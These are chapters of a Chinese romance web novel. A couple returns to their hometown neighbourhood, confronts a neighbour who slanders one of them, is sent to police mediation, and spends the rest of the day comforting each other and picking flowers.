楼道窄,两人并肩不太好走,谢舒毓提着烧烤,稍落后半步,低头,很专注不知道在看什么。 她刘海垂下,遮挡了脸,温晚心里还是有些忐忑,转身,“你是不是不高兴了,觉得我多管闲事。” 谢舒毓抬起头,温晚看着她,她们安静对视,呼吸很轻。 楼道灯灭,周围霎时陷入黑暗。 温晚了吓一跳,谢舒毓飞快抓住她胳膊,防着她摔跤,同时欸地喊了一声。 灯重新亮起,谢舒毓上前一步,她们并肩站在楼梯上,温晚微微仰起脸,这个角度看得很清楚,谢舒毓在笑,眸光水亮。 酒窝清清浅浅,似涟漪,谢舒毓的声音像小雨滴落在水面。 她说:“我在看你的拖鞋,想你花了多少力气才把那些东西运下来,想你又是怎么走到房间里去的,当时有多生气。” 拖鞋怎么了,温晚低头。 没错,她很生气,气到什么也顾不得,没留神,左右两只脚,前半截脚掌都在拖鞋外面。 “哈!”温晚抬脚,“我说走路的时候,怎么有种毛茸茸的感觉。” 原来是地面灰尘沾满她的脚底板。 十根脚趾头在尺码偏大的塑料拖鞋里蛄蛹蛄蛹,温晚的脚回到正确位置。 她低头的瞬间,灯又黑了。 楼道再一次亮起来的时候,谢舒毓抱住她。 “我怎么会责怪你呢,我要感谢你,做了我不敢做的事,还替我揽下所有责任。” 温晚开心地笑了,“好像在玩一二三木头人。” 她说再来再来,谢舒毓探头往上看了眼,“那你先上去,灯灭后,你来决定什么时候喊,看我能不能抓到你。” “好啊好啊!”温晚迫不及待往楼上跑。 这次有了心理准备,灯灭时,温晚完全不怕。 她竖起耳朵仔细听,却发现什么也听不见,世界被巨大心跳声淹没。 谢舒毓走到哪里啦? 猝不及防,唇瓣暖热。 温晚不过僵硬一瞬,身体很快软下来,这个吻几乎让她窒息。 幸好,谢舒毓紧紧把她拥在怀里,就算真的晕倒也没关系。 “我输了。”温晚嗓音绵绵,鼻尖轻蹭谢舒毓脖颈,皮肤下可以清晰感受到血液的流速。 靠在家门口,小声聊天,谢舒毓连连啄吻她腮,“你一点都没听到我来吗?” 温晚摇头,“我想你应该没有那么快,也没想到,你会亲我。” “那如果你知道我要亲你,你会躲起来吗?”谢舒毓问。 温晚用力点头,“会。” 果然,谢舒毓太了解她了,“你肯定会躲起来吓我。” “但还是提前被你抓住了。”温晚有些昏昏然。 谈恋爱感觉这么好啊,她要飞升了。 两个人叽叽咕咕,正小声说情话,突然!隔壁门响,温晚毫不留情一把将人推开,谢舒毓不防,往后趔趄两步,坐在楼梯上。 “嗷!”谢舒毓喊了一声,屁股青痛。 门开了,王奶奶披着一件红色小开衫,缝里探出个脑袋,“是不是没带钥匙啊?” 她看看坐台阶上的谢舒毓,又看看站门边的温晚,双眼盯住,浮现出茫然神色,显然深陷回忆。 “小晚?”倒是王奶奶身后她大闺女先认出来。 “奶奶,姑姑。”谢舒毓被她妈训练好多年,见人就喊是本能反应。 “哎呦,是小碗!”王奶奶一拍巴掌,“我都没认出来。” 温晚绝望中一丝苦笑,“奶奶,姑姑。” 谢舒毓从地上爬起来,站到温晚面前,替她挡了。 小时候,李蔚兰教育谢舒毓,说见人得喊,不能装哑巴,所以她们小区一半以上的老头老太太,谢舒毓都能准确无误喊出姓氏。 但如果一窝老太太里面,出现两个或两个以上相同姓氏,就得多花费点功夫,喊到谁,就看着谁的眼睛,稍停顿半秒。 从小区门口到家那条路,是温晚的黄泉之路,但幸好有谢舒毓,她跟在后面点头就是。 跟老太太打交道,谢舒毓擅长,边说话边摸出钥匙把门开了,然后往前错开一步,温晚趁机溜进去。 “小碗现在真漂亮,只是还跟小时候一样害羞。”王奶奶满脸慈祥。 谢舒毓笑笑不说什么,回头看了眼。 温晚站在门里,挤眉弄眼,催促快些。 谢舒毓冲温晚眨眨眼睛,表示收到,回头继续跟老太太聊天。 她挺会打太极,王奶奶问一句,她反问三句,自己的事情没怎么说,倒把王奶奶家里那点老底掏空了。 今天上午,在见到养老院里的奶奶之前,谢舒毓对王奶奶是有点不耐烦的。 现在不一样了,她心里有个声音说,奶奶关心你呢,多跟她说几句吧。 说一句少一句。 温晚站在门边听了会儿,看谢舒毓似乎很享受这种状态,不知道为什么,心里有些伤感。 没催,温晚默默走开了,洗干净手,去谢舒毓他妈衣柜里,翻出干净的被褥枕头,抱回房间铺上。 她还去查看过热水器,能用,洗快点两个人没问题。 今天好忙,好累,发生了好多事,温晚却一点也不困。 十分钟后,谢舒毓回到屋子,温晚坐在沙发边,把笔电抱出来放在茶几上,找了个热闹的综艺放。 谢舒毓紧挨着温晚坐下,跟她一起看电视。 “这是我参加过的那个。”谢舒毓说。 温晚点头,“感觉房子空空的,放点声音出来,还能见到你。” 她都数不清这期节目看了多少遍,就像谢舒毓数不清背过她多少次。 两人干坐五分钟,吸了口气,谢舒毓皱眉,“我刚才是不是出去了一趟。” 温晚说是呀,“你出去了,去买烧烤。” 谢舒毓腾地站起,“我烧烤呢!” “你烧烤呢?”温晚同样问。 就说忘了什么事! 第52章 她喊我老婆欸! 小房间床头右手边有扇窗,老式平开窗,黄的漆斑驳掉落许多,底下插销也生锈,窗上挂了一串蓝色风铃,布满毛毛灰。 床和被子有老木柜混合樟脑丸的味道,温晚早醒了,赖着不起。 外面客厅一阵开关门的动静,温晚心中默默计数,“一、二、三、四五……” 卧室门开,谢舒毓探头,温晚垂眼睨着,见她笑着走近,身体的重量隔着被子全部压上来。 “早安,小碗。” 温晚狗鼻子,“我闻着香味了。” “我去买了牛肉面。” 谢舒毓亲亲她脸,催促起床,“今天太阳好,等下把被子枕头什么的拿出去晒晒,昨晚盖着,感觉有点泛潮。” 温晚点头,没刷牙,不讲话。 谢舒毓忍笑,“还跟我矜持呢,有什么不好意思的,老妻妻了都。” “放你的猪屁!”温晚到底没憋住,“这才是第二天好吧,以前不算的。” 谢舒毓双手捧起她脸,把嘴唇推挤得圆嘟嘟,“木马”一口,怕挨打,快速起身离开。 歪着身子躺在床上,天花板瞅半天,没忍住,温晚躲进被窝里笑,扭成只活蛆。 掀被,翻身,起床,温晚是真饿了,昨晚谢舒毓买的烧烤,楼上楼下她们找了好几趟,没找到。 猜想可能被人捡走,而且就是她们这个单元的。 吃牛肉面的时候,谢舒毓还在叹,“可惜了我的烧烤,六十多块钱呢,有竹签烤肉,热狗肠,还有鸡的手和皮,鸡皮我特意让他烤得焦焦,吃起来脆脆的……” “闭嘴!”温晚忍无可忍,“都给我说馋了。” 然后两个人开始互相推卸责任,到底是谁把烧烤弄丢的。 楼下可以晒被子,树干和防盗窗之间横了许多长绳,默认公用的,谢舒毓吃完饭赶紧把被子抱出去,否则位置很快会被占完。 这几年,她发现自己平白添了好多老年人习惯,比如晒被子的时候,拿根晾衣杆在那“梆梆梆”打。 没人教,天然习得。 一楼住的李爷爷家门前还有好几个大竹簸箕,里头晒的中药,一股苦味儿。 谢舒毓撑着晾衣杆站在窗前,里头人说“回来了”,她说“放假回来了”。 里头人又说,“晒被子呢”,谢舒毓说,“晒晒,潮”。 里头问吃了没,说吃了,问吃的什么,说吃的牛肉面,家里啥也没有,不好开火。 里头就说,牛肉面其实一般,邀请她晚上来家吃。 “晚上出去吃。”谢舒毓笑笑。 “外面东西不干净,全是地沟油!”老头激昂得很。 有一搭没一搭,聊得顺畅,把谢舒毓逗得不行。 这感觉挺好,谢舒毓说不清为什么,她对碎嘴子老年人包容度特别高,这几年,甚至深入群众挖掘到许多邻居们的刺激八卦。 打不过就加入,成为其中一员。 不过嘛…… 小县城有小县城好玩的地方,邻居们关系近,常常送吃送喝,坏处就是世界太小,有些不想见的人,转个身就能遇到。 谢舒毓回头,准备上楼搬把椅子下来晒枕头,旁边一个黑影走过来,喊了声她的名字。 隔壁魏安庆,手里空空,不是出来晒东西,肯定在屋里听见她说话了。 差点忘了,放假这鳖孙也回老家了。 “干嘛?”谢舒毓没好气。 魏安庆两手插在牛仔裤兜里,看起来挺拽的。 是不是要打架,谢舒毓心下防备,晾衣杆往地上一跺,挺直背,昂头跟他对峙。 他皱眉,对上视线,把手从裤兜里拿出来,“上次的事,我觉得有必要好好跟你解释下。” “没什么好解释的。”谢舒毓不想跟他多说。 窗里的老头一脸吃瓜表情。 好好好,幸福里小区又要有大新闻啦! 谢舒毓都说不要解释,这人听不懂好赖话,“那我向你道歉,对不起,你可以原谅我吗?” “不需要。”谢舒毓翻了个白眼,这人真是不要脸,故意在老头面前说这些,惹人误会。 “我什么也不想听,你什么也别说,以后路上碰见也别打招呼,就当不认识,算我求你可以吗?” 她转身跟屋里老头说:“不许在外面乱编排我,我跟这人一点关系也没有,要听见什么风言风语,我可要来找你麻烦的。” 老头就会和稀泥,说“嘿嘿嘿,别吵架”。 话都说到这份上,这个魏安庆还不放过,谢舒毓扭头要走,他一把拽住人胳膊。 猛地甩开,谢舒毓拿晾衣杆指,“离我远点!” 温晚在阳台上洗衣服,翻箱倒柜终于找着半瓶没用完的洗衣液,刚把洗衣机研究透彻,隐隐约约,听见楼下吵架。 她起先还好奇,爬上窗台,脑袋抵着防盗窗栏杆使劲往下看,瞄见个人影,她忍不住骂句脏,跳下地拔腿就往外跑! 谢舒毓刚把晾衣杆举起来,旁边一个人影冲到她面前,把她推开,叉腰站在那,横臂指着对面鼻子骂。 “你再敢对她纠缠不清小心我狂犬病发作咬死你臭不要脸玩意长得跟个臭陀螺上面平下面尖的你也不撒泡尿照照自己什么德行。” 没有停顿,一气说完,碗大小姐往地上“啐”了口。 “呸,不要脸!”说完,上手把人用力往外一推。 “还不快滚,你家在沟那边,这边是我们的地盘。” 两栋小区挨着,中间有片空地,还有条排水沟,那时候,她们附近几栋小区的孩子,是分成两个帮派的,一个叫沟这边,一个叫沟那边,但彼此都称呼对方为沟那边。 谢舒毓和温晚是一头,魏安庆是沟那边,两拨人从小就干仗。没想到,三十岁了还这样。 魏安庆被推得一趔趄,“关你什么事?” “就关我事,怎么着?”温晚瞪圆眼睛,跑太急,两片脚掌嚣张露在外头。 “你跟她什么关系,轮得到你说话。”魏安庆昂着下巴,模样要多欠打有多欠打。 温晚看着他这张脸,一巴掌呼死他的心都有了。 “我们从小一起长大,同吃同住同睡,你说什么关系。人给你留几分薄面,偏偏你死不要脸,还写情书,才上初中就写情书,你三鹿奶粉喝多了吧。就你这种屌丝男还想找女朋友,你现在一头撞死重新投胎说不定还快点呢!” 温晚骂得特别难听,用词之恶毒,令人惊叹,屋里那老头都傻了,这还是他印象里甜蜜可爱的小碗公主吗? 谢舒毓真怕两边打起来,拉着人往回走。 有套绳的小狗极其嚣张,主人护着,耀武扬威的,吓得对面屁都不敢放一个。 谢舒毓护着人上楼,说走吧走吧,咱们去把枕头拿出来晒,晚上睡得香。 温晚还不住回头看,在收尾,“什么东西,敢跟我叫板,丑八怪一个。” 进楼栋,旁边没别人了,温晚大变样,娇滴滴往人怀里一靠,“我刚刚是不是特别厉害,特别勇敢,帮你赶跑坏人。” 亲亲她脸,谢舒毓哄着,“你最棒,你最勇敢!” 温晚顿时就美了美了,哼哼唧唧没完,“本来就是嘛,都拒绝过一次了,他还在继续纠缠不清,咱必须给他上点手段。” 回去一趟再下来,谢舒毓扛椅子,温晚左右胳膊夹着两只枕头,一出楼道口,那股小劲儿立马上来,像只警犬,立着耳朵四处巡视。 “人走了。”谢舒毓把椅子放在李爷爷的竹簸箕旁边,接过枕头搁上去。 “当然。”温晚傲气甩头。 她还专程跑垃圾桶那看,昨晚扔的蛇皮袋被人捡走了。 义薄云天的碗大侠雄赳赳气昂昂迈着大步往回走,一振臂,“回家!” 想出去玩,但衣服还没洗好,谢舒毓就说等等。 她闲不住,房前屋后收拾,屋里窗户全部打开,风铃取了泡在水池里,用旧牙刷沾了肥皂细细地刷。 “这是我送你的吗?”温晚有些记不清了。 谢舒毓“嗯”一声,低头站在水池边,穿着宽宽大大的花短裤和白色小背心,手臂细细长长,肩膀那块薄薄的,肩头有棱有角。 温晚把手贴上去摸,“你冷不冷啊。” 谢舒毓说不冷,温晚还是摸,来来回回,像个色老头,把人都摸笑了,往旁边躲了下,“干嘛呢。” “摸摸还不行,我是你女朋友,这是我的权利!”温晚大声。 “行行行。”谢舒毓靠回去,“你摸。” 温晚把手背起来,“不摸了,哼。” 手臂抬起,揩去不小心飞溅到脸颊的肥皂沫,谢舒毓弯腰跟她蹭蹭脑袋,“贴贴,来老婆贴贴。” “哈哈——”温晚没忍住,一把将人抱住。 她喊我老婆欸! “这个风铃是我送给你的。”温晚嘟嘴,不满,“你竟然把它一只铃丢在这里,独守空房。” 谢舒毓很有耐心解释,“所以这次我决定洗干净以后,把它带回去,挂在我宿舍的窗边,每天都可以看到。” 欸?也太听话了,想吵架都吵不起来。 风铃是蓝色的,半透明,搞不清楚什么材质,洗干净,水灵灵挂在阳台上,风一吹,叮叮当当。 午后的阳光照在上面,金光闪耀。 天空也是蓝色的,大朵白云飘浮,行走缓慢,给人一种很惬意的感觉。风很好闻,似乎是焦糖味。 她们并肩站在阳台上,脚趾头被晒得暖暖,好半天,静静看着远方。 “干活!”谢舒毓一合掌,说这么好的天气,就应该洗洗涮涮。 她把她们睡的那个小房间窗户擦了,窗台上杂物清理掉,窗帘拆下来洗,生锈的插销也抹了油。 温晚躺在床上当监工,谢舒毓站在窗外后阳台,问哪里还有污垢,温晚才爬起来看。 窗户擦干净,谢舒毓去前面洗抹布,温晚躺在床上玩手机,没有枕头,她脖子躺得有点累,起床活动,站在后阳台,忽然听见楼下有人讲话。 谢舒毓家住三楼,楼下隔条排水渠,过去点就是魏安庆家。 魏安庆家是一楼,屋后有个院坝,他妈坐在院子里择菜,魏安庆蹲在旁边跟他妈说话。 温晚撑身,耳朵努力伸到阳台外面。 魏安庆质问他妈,为啥非要安排谢舒毓跟他见面。 她妈说咋了,人小毓不挺好的,爸爸教国画的,妈妈是校长,人自己也厉害,硕士,配你绰绰有余。 “她妈不过是个副的。”魏安庆说。 “副的也是校长。”他妈说。 魏安庆嗤笑一声,他妈问他,你是不是跟人关系搞僵了,刚才好像还听见你在外面跟人吵架。 他没说被温晚骂,只是抱怨他妈,为什么一定是谢舒毓。 他妈生气了,菜往盆里一摔,说人家小毓怎么你了,你七不顺八不顺。 温晚有预感,接下来肯定不是什么好话,她拿出手机录像。 魏安庆起身一脚把菜盆踹翻,手臂抬高,指着楼上,“妈你有没有想过为什么,谢舒毓快三十岁还不结婚,甚至一个正儿八经的恋爱都没谈过,每次回家都是一个人。” “那不挺好的,说明人家洁身自好。”他妈说。 魏安庆冷笑一声,“她要么就是个女同性恋,要么就是个被人玩烂的烂货。” 此时此刻,温晚无比希望自己变成一个橡皮人,手臂无限伸长,伸到楼底下一人甩一巴掌。 她收起手机,像一颗导弹,还是会拐弯不会被拦截追击的那种,大踏步去厨房,里面翻箱倒柜,提了把亮锃锃的大菜刀出来。 谢舒毓刚洗完抹布,走到客厅,看见温晚提着刀打开门出去,以为是幻觉,原地呆了几秒,甚至跑去卧室,确定温晚到底还在不在。 房间里,她听见楼下魏安庆跟他妈吵架,走到后阳台,恶毒字眼像飞镖钉来,她猝不及防,被扎得满身。 温晚已经走到魏安庆家门口,他对门的胡奶奶坐在楼道里喂小孙子吃饭,看见温晚,正要打招呼,再看见她手里的菜刀,迅雷不及掩耳盗铃响叮当之势,带了小孙子飞快闪进屋,门“砰”一声关严实。 “哐哐哐——”温晚开始砍门,同时叫骂,“魏安庆,你有种给我出来,看我今天弄不弄死你。” 魏安庆家旧兮兮的防盗门很快就被砍个稀巴烂,温晚手里的菜刀也卷了刃。 里头人做了什么,心里比谁都清楚,温晚像只霸王龙,他们哪敢应声。 谢舒毓追过来的时候,温晚其实已经不砍了,因为刀卡在门上了,她拔了半天没拔下来,正拿脚踹门。 “你出来啊,有种把跟你妈说的那些话,当着我面再说一遍。” 这通动静可不小,放假期间,没出去旅游的都蹲家里看电视呢,听见声音全出来了。 有胆大的来拉架,都是相熟的姑姑伯伯,把温晚架出去。 谢舒毓拦着那些人,说“没事没事”,我来安抚。 温晚没见到魏安庆,不能消气,捡块砖,把魏安庆他家窗户砸了。 幸福里小区这么多年,邻里之间,关系和睦的有,打架的也有,温晚小时候见得不少。 她一直记得,三单元楼上住了对双胞胎,有天跟楼下那家小男孩在楼梯上做游戏的时候,被推下去,脑袋当时就一个大血口子。 那家人也是奇葩,小孩惹了事,大人不管,任由摔破头的女孩在地上躺着,躲进家里去。 后来双胞胎爸爸从外地出差回来,带了几个兄弟上门要说法。 那家人继续躲着,不开门,他们就拿竹竿从防盗窗里伸进去,把屋里能捅烂的全捅烂。 从此,双胞胎在幸福里小区横着走。 那时候温晚快要初中毕业,已经准备好跟她在学校里遇见的糟心事彻底告别。 幸福里小区,双胞胎的爸爸给了她很大启发,从她以后,她脾气变了好多。 这个世界有时候让人感觉特别美好,太阳每天升起,偷一朵栀子花带回家,屋里能香上好几天。 有时又特别操蛋,让人感叹命运不公,好人太少,不得善报,还有傅明玮、田茂、魏安庆这种人渣败类孜孜不倦满地拉屎。 她只能选择做一个泼妇、混蛋,来对抗这个奇形怪状的世界。 温晚站在魏安庆家门前,穿跟谢舒毓同款的背心短裤,两只前脚掌踩在微微发烫的水泥地面,指着他家窗户骂。 “再让我听见一句,你看我弄不弄你就完了。” 有邻居说,看不出来,小晚这么厉害。又有人说,她当然厉害,也不看看她妈是谁。 温瑾年轻时候,也是个厉害人物,没少跟人干仗,名头响当当。 更多人好奇这三人之间到底发生了什么,楼下晒中药的李老头一脸高深莫测。 警察来的时候,温晚已经回家,王奶奶坐在客厅沙发,给她们拿了些家里蒸的糯米团,正在安抚,也是打听。 温晚把视频拿出来放。 只录到一句,后面全是杂乱的背景音,很快接上砸门声,以及温晚热辣的叫骂声。 王奶奶后面那句听懂了,前面这句不太明白,“啥是女同性恋。” “咳——”王奶奶大闺女坐在她旁边,讳莫如深捅了她一胳膊肘。 大门开着,帽子叔叔也咳嗽一声,“哪个是温晚?” 谢舒毓抬头,波澜不惊把温晚手机拿过去,视频后半段删了,只留下阳台上录的那句。 这不是温晚第一次进派出所,她人还挺松快的,轻车熟路,尺码不合的塑料拖鞋吧嗒吧嗒,十个脚趾头好奇四处张望,看看这些年墙上又添了多少锦旗。 魏安庆他妈吓哭了,眼泪止也止不住,魏安庆臊眉耷眼坐在一边,屁都不放。 谢舒毓默默把手机掏出来,音量开到最大,视频反复播放。 温晚双手环胸,站他面前,“继续说啊,你不挺能说的,继续啊。” “我说错了?”魏安庆还在犟。 “那你接着说啊,当着我们面重复一遍啊臭屌丝。”温晚后槽牙都咬紧。 警察叔叔高声呵止,让闭嘴。 结果怎么样,调解呗,还能怎么样。 “但拿刀是不对的。”有女警过来,说万一对方把刀抢走呢?你们要考虑自身安全问题。 思想教育这关免不了,女警给她们上课,谢舒毓保证,“我以后尽量看好她。” 女警身姿笔挺,制服整洁,威严又不失温和。 这个世界好像也没有那么糟糕,有人在破坏,也有人在缝补,温晚看着面前的这张脸,坏心情忽地一扫而空,忍不住“哈哈”两声。 “严肃点。” 离开派出所,两个人并排走在大街上,人行道的广玉兰全开了,硕大的花朵从浓密的枝叶间探出,神秘美丽。 温晚说好想偷,谢舒毓四顾,有在认真思考践行方案。 “不行,人太多了,而且我们刚从派出所出来。” “也是。”温晚有点可惜。 魏安庆那事一点没影响她们心情,主要得归功温晚,有仇当场就报了,没受气。 也知道自己是过错方,魏安庆他妈拒绝了赔偿,临走前,跟谢舒毓道歉,希望她不要告诉李副校长。 怎么可能,谢舒毓笑笑,什么也没说。 想到这里,谢舒毓让温晚把视频发过来,她转发给李副校长。 “不得不说,你这招真绝了,而且这两句话都特别关键。” 前一句,起到个暗示作用,后一句,就是在往李副校长脸上丢大便。 好好好,你自己看看吧,这就是你选的金龟婿。 温晚扯着谢舒毓胳膊,明知故问,“什么关键,关键什么,说清楚。” 谢舒毓笑而不语,小酒窝几乎让人眩晕。 下一秒,电话响起,果然是李副校长。 “不是,怎么会这样呢……”李蔚兰都懵了。 谢舒毓还听见她爸在旁边骂人,骂得好难听。 “问我,我怎么知道,话又不是我说的。”谢舒毓冷笑,生怕人听不清,笑得很大声,几乎不能称之为冷笑,是热笑。 “给王秀娟打电话!现在就打!那个魏安庆更是,小时候看着挺乖巧的,没想到现在长成这个样子,简直就是地痞流氓。” 谢舒毓听见他爸在旁边吼。 “假惺惺。”谢舒毓直接把电话挂了。 温晚站定,退后几步,冲刺,跳到谢舒毓后背,“你刚才说关键,哪里关键,你给我讲讲呗。” “没啊,哪里关键了,你听错了。”谢舒毓站在原地,身子朝一边歪,手机揣进裤兜,才站直把人背好。 她说记得小区里也有几棵广玉兰,回去偷吧。 “偷小区里的不算偷,交了物业费的。” “你又耍赖皮。” 温晚头低下去,咬了口她耳朵,“反正我知道你说的什么意思。” 痒,谢舒毓小幅度甩头,“知道还问。” “就问就问!” 第53章 “你好可爱。” 小房间外,后阳台,听见魏安庆跟他妈讲话,恶毒的字眼像蜈蚣爬进耳朵,一路撕咬着钻进脑袋,谢舒毓呆在原地,几秒的失神,她在思考一个问题。 为什么骂她。 她心里知道,这个人,以及他的看法,对她来说完全不重要,他的话不值得往心里去。 却还是难免伤心,阴暗苔湿的心房一角,有个声音幽幽问:我真的像他说的那么糟糕吗? 他说她假清高,真虚伪,孤芳自赏,惺惺作态…… 或许真有说中,才耿耿于怀。 “你在想什么?” 温晚发觉,戳了下谢舒毓的脸,那个酒窝不见了。 谢舒毓摇头,“没啊。” “可是分明就有,你脸上都写了。” 温晚挣扎着落地,谢舒毓耷拉着脑袋,说“写什么了”,温晚捧起她脸,“写了伤心,你好伤心。” 她不要她伤心。 温晚气愤不已,“那个畜生的话你真听见去了?你不要听啊,有些人坏起来真的一点不讲道理,他明显就是被拒绝,恼羞成怒才恶意中伤,你因为这种人伤神太不值。” 谢舒毓还是闷闷的,说“我知道啊”。 当时现场太乱,她没空去想,强烈的怨愤像火,焚烧一切,但她不能再做些什么,温晚情绪激动,她必须制止。 事情结束,满地破碎灰烬,风起,扑得她满头满脸。 伤口很小,不过烟头大,心却早破成了一床烂棉絮,芝麻点的火星掉进去,呼啦一下就烧起来。 不烧干了,烧透了,直到烧无可烧,停不下来。 “我已经尽我所能做到最好了。” 谢舒毓眼泪毫无征兆落下,来不及打湿睫毛,大颗大颗,掉在衣襟。 初夏午后的阳光威力不容小觑,身体阵阵发冷,额头却渗出细汗,头发晕,身上到处好痛,谢舒毓克制不住地浑身颤抖。 温晚赶紧把她拉到树荫下,身上没纸,手胡乱为她拭泪。 “你怎么了?”温晚好着急,看到不远处树下有张石凳,赶紧牵她过去。 凳子上原本坐了两个年轻小伙,温晚挥手,霸道把人赶走。 “我在呢。” 温晚紧紧抱住她,“你不要哭了,你一哭我就害怕。” 想想不对,又改口,“没事你哭,刚才说的不算,你哭,哭出来就好了。” 旁边递来包纸,温晚接过,撕开包装,给谢舒毓擦眼泪。她同时飞快回头看了眼,递纸的是刚才被她从长凳上赶走的其中一个。 飞快说了声“谢谢”,温晚压低了嗓去哄,“你看,这个世界上还是有好人的,对吧,不是人人都像魏安庆那么坏。” 只要不深入了解,走到路上的那些家伙,其实都挺慈眉善目的对吧。 再抬头看看,这晴朗的天,苍郁的树,少女洁净的脸庞一般雪白的玉兰花,高楼大块落地玻璃折射出的光金,等等等等…… 这世界并没有太糟糕。 “对不起。”长长吸了口气,让更多氧分子进入大脑,谢舒毓迫使自己快速冷静下来。 旁边人走开了,温晚的担忧还没有离去,她始终紧紧牵住谢舒毓的手,“小筷子,你到底怎么了。” “没事。”抬头,谢舒毓笑笑,用力眨眨眼,试图加快眼泪蒸发。 她用空着的那只手搓了搓脸,搓去紧绷,“好了,康复了。” 温晚眉头不展。 她们在一起那么多年,谢舒毓极少情况是需要被安慰的一方。她的眼泪,她强烈的躯体反应,让温晚觉得有些难过。 同时感到棘手。 该怎么做,可以哄好她呢。 “没事啦!” 谢舒毓语气轻快,“我们回去吧,回小区,给你摘花。” “摘花会让你开心吗?”温晚怔怔的。 谢舒毓点头,“你开心,我就开心。” “好,那我们去摘花。”温晚握拳。 回去的路上,谢舒毓左手抠右手,小心翼翼问道:“小碗,你会觉得我是一个特别窝囊的人吗?” 温晚不懂,她何出此言。她说,人家骂我,我不去跟人对峙,只顾着拉架,事后还偷偷躲起来哭。 “很没出息,对吧。” “你为什么又在责怪自己?” 温晚不高兴她这么说自己,打了她一拳。 打得好痛,谢舒毓龇牙咧嘴。 “对不起对不对。”温晚连忙给她揉揉,叹了口气,耐着性子,“我都把刀拿出来了,你肯定得拦着我呀,不然我们真犯错了,为那种人蹲监狱不值得,你制止我是对的。你伤心,也没有错,被谁骂都会伤心,尽管骂你的那个人啥也不是,可谁被骂还笑得出来啊。” 又不是缺心眼。 谢舒毓胳膊还是很痛,“你可能打着我的神经了。” 温晚说她根本没用力,谢舒毓说可我就是痛,“你八成打到我神经了。” 没完没了,温晚抓起她胳膊,在打过的地方亲了口,大声质问:“还痛吗?” 咦—— “不痛了。”谢舒毓细声细气。 温晚拦着人继续往前走。 好半天,谢舒毓又说:“但你下次还是不要那么冲动了,就像那个女警察说的,万一对方把刀抢走。” 温晚说知道,她心里有数。 “我也不是在谁面前都这样,魏安庆就是个窝里横,窝囊废,你稍微强硬点,他就怕得要死,上午我们在楼下晾被子,骂他几句,他眼睛都不敢看我。” 温晚让谢舒毓别担心,她也是看人下菜碟,真遇见横的,肯定缩着。 “但以后还是尽量别这样。”谢舒毓叮嘱。 “好。”温晚应下。 想了想,转过脸,“可你也不能由着人家欺负你,我不在你身边的时候呢?” “除了你,很少有人能真的欺负到我。”谢舒毓说。 魏安庆是个例外。 温晚笑了,“那假如,是你自己听见,你会怎么做。” 谢舒毓设想当时场景,“我应该会直接在楼上叫住他,让他尴尬,难堪。” “那有什么用?能出气?”温晚说难道你就不报仇。 “我应该会往他家院子里丢垃圾。”谢舒毓补充。 是她能干的事。温晚看出来了,谢舒毓是蔫坏型的。 “好吧。”温晚宽容表示,“我也不勉强你了,只要你不是听见也假装没听见就好。” 她最见不得人家吃哑巴亏,比自己被人扇巴掌还生气。 “那你呢?”谢舒毓紧了紧温晚的手,“在派出所。” “嗐!”温晚猛一挥臂,满不在乎,“都多少年的事了,而且犯错的人也不是我,我有什么可怕的,你看我现在像应激的样子吗?” 谢舒毓微微低头,去看她的脸,太阳底下走了好半天,她出汗了,脸蛋红扑扑,像只小桃子,浑身毛茸茸,粉嘟嘟。 “你好可爱。”谢舒毓一时忘记她们刚才在讨论什么。 温晚笑了,在城市,她是精致的摩登女郎,回老家,穿着拖鞋背心在街上走,她又是如此怡然自得。 “只是可爱吗?”温晚歪头,托一下脸蛋,“难道我不漂亮。” “漂亮,又可爱。”谢舒毓看着她说,眼睛亮亮的。 “我没事,我早就变了。”温晚说回前话,表情在瞬间变得严肃。 “而且我也不是软弱,我只是……”她摇头,不许继续。 “你看你前面那个男的,梳个公鸡头,好搞笑。”谢舒毓也趁机转移话题。 有家卤味,鸡爪炖得烂乎乎,鸡脖子肉质又格外紧实,二十多年老店。 温晚路过买了些,把最麻烦的鸡手指咬下,肉最多嚼起来最过瘾的掌中递去之前,不忘在塑料袋里裹满汤汁。 “喏——” 我对你的爱,就是裹满浓香卤汁的鸡手中。 谢舒毓又想哭。 唉,想起来,好多年没这样边走路边吃东西。 “明天我们去一小门口吃早餐吧。”谢舒毓突发奇想,“尝尝那些小时候的美食。” “好哇。”温晚答应得爽快。 进小区大铁门,坐在门前老樟树下,她们啃完所有鸡脖鸡手,然后满小区转悠。 她们这地方,最多的是樟树、广玉兰,还有梧桐,都是比较适应当地气候的优质绿化树种。 樟树和广玉兰四季常青,春天新叶子长出来,老叶子才掉。梧桐秋末落叶,长得都比较粗壮,高大,遮荫效果极好。 这几年,市里还种了许多栾树,也是高大的树木,秋天会开花,花像一个个小灯笼,串串挂在树梢,十分喜人。 对了,还有银杏。只是银杏生长缓慢,相对的,树苗也昂贵许多。 银杏美丽,却有个致命缺点,秋天成熟的果子掉在地上,外面软的一层果肉酸臭,十分销魂。 小时候,奶奶带着谢舒毓去捡,内头种子外壳坚硬,白色,可以用来炖鸡,但微毒,不能多吃。 前几年,她曾独自去海边玩耍,租一台电车在路上骑,发现沿海城市最多是榕树,树冠极大,覆盖整条街道,许多气生根垂下,非常壮观。 树,让谢舒毓心情好转许多。 很幸运,一片狼藉的世界里,还有那么多东西可以留住她。 蓝的天,绿的树,各色的花,牵在手心的人。 小区里转了大半圈,十三栋旁边一片斜坡上,谢舒毓找到一棵广玉兰,踢了拖鞋,赤脚上阵。 温晚站在下头,昂着脑袋看,叮嘱她小心。 “我想要两朵,你一朵我一朵。” 谢舒毓站在树干上,数不清这是第多少次,温晚怂恿她摘花爬树。 更厉害的地方,是她们竟然一次都没被逮到过。 选了两朵半开的,谢舒毓摘下,伸手递给温晚,刚要提醒,她已经举了花凑到鼻尖去闻。 “好香!”温晚深嗅,犹如急色鬼。 下一秒,她感觉鼻子有点痒痒的,伸手抓两下,再低头一看,花骨朵里爬满黑色小虫! “啊啊啊啊啊——” 温晚原地消失不见,只有两朵半开的广玉兰被丢弃在地。 “要死了!要死了!要死了!”温晚大叫,连蹦带跳,跑来跑去,像只弹力球。 谢舒毓跳下树,捡起,“刚要提醒你,有蓟马,但没关系,水冲掉就好。” “什么马?”温晚疯狂拍脸。 “蓟马,害虫,微小细长,有锉吸式口器。”谢舒毓相当官方。 温晚听不懂,除了那句害虫,“吃花,小害,吓人,大坏!” 谢舒毓举着花朝她跑过去,“啊啊啊!大坏虫吃你来啦!” 温晚尖叫狂奔。 从魏安庆家门口过,刚巧看见两个老师傅扛了扇防盗门进去,被砍坏的那扇靠在窗根底下,上面还别了把烂菜刀。 魏安庆他妈站在楼栋口,跟对门奶奶说:“正好也旧了。” 